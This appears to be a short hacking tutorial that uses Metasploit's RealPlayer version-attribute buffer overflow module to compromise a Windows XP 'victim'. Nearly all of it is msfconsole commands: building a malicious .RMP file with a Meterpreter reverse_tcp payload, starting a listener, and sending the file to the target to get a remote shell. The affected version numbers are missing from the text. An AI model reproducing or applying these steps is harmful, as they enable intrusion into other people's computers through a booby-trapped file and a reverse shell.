Hack Remote PC Using Real Networks RealPlayer Version Attribute Buffer Overflow

This module exploits a stack-based buffer overflow vulnerability in version and of RealNetworks RealPlayer, caused by improper bounds checking of the version and encoding attributes inside the XML declaration. By persuading the victim to open a specially-crafted .RMP file, a remote attacker could execute arbitrary code on the system or cause the application to crash

Exploit Targets

Windows XP SP 3

Real Player

Real Player


Attacker: Kali Linux

Victim PC: Windows XP

Open Kali Linux terminal type msfconsole

Now type use exploit/windows/fileformat/realplayer_ver_attribute_bof

msf exploit (realplayer_ver_attribute_bof)>set payload windows/meterpreter/reverse_tcp

msf exploit (realplayer_ver_attribute_bof)>set lhost (IP of Local Host)

msf exploit (realplayer_ver_attribute_bof)>exploit

After we successfully generate the malicious rmp File, it will stored on your local computer


Now we need to set up a listener to handle reverse connection sent by victim when the exploit successfully executed.

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set lhost


Now send your msf.rmp files to victim, as soon as they download and open it. Now you can access meterpreter shell on victim computer.
